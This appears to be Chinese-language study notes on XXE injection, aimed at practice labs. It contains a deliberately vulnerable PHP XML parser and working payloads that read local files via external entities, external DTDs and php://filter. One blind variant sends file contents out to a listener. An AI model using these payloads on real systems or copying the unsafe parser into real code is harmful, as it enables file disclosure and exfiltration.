XXE_payload

<?php
    $xmlfile = file_get_contents('php://input');
    $creds=simplexml_load_string($xmlfile);
    echo $creds;
?>

1 回显的类型

1.1

POC:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

1.2

与1.1不一样的是，引入的外部的dtd

POC:

**********
post提交的数据:
<?xml version="1.0"?>
<!DOCTYPE creds  SYSTEM "http://127.0.0.1/test/evil.dtd">
<creds>&b;</creds>
**********
http://127.0.0.1/test/evil.dtd的数据
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

1.3

********
post:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd">
%goodies;
]>
<creds>&b;</creds>
********
evil.dtd
<!ENTITY b SYSTEM "file:///c:/windows/system.ini">

1.4

当里面含有

1.41

如果是php的话，可以用php的filter协议直接读出文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]>
<creds>&goodies;</creds>

1.42

拼接引用的内容，就可以正常输出

**********
post提交的数据:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/softeware/phpstudy/PHPTutorial/WWW/test/index.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/test/evil.dtd">
%dtd; ]> 

<roottag>&all;</roottag>
*********
evil.dtd的内容
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

2 无回显

2.1

**********
post:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1/test/evil.dtd">
%remote;%int;%send;
]>
**********
evil.dtd的内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test/flag.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:9999?p=%file;'>">
***********
python3 -m http.server 9999

3总结一下自己老出错的地方

最后引用实体的时候，老忘了打分号。&goodies;

没有回显的时候，要注意用filter结合file的绝对路径

filter可以不用绝对路径，但是有时候你是访问你的index.html，php文件不一定是index.php。

靶场练习；

https://github.com/c0ny1/xxe-lab

http://web.jarvisoj.com:9882/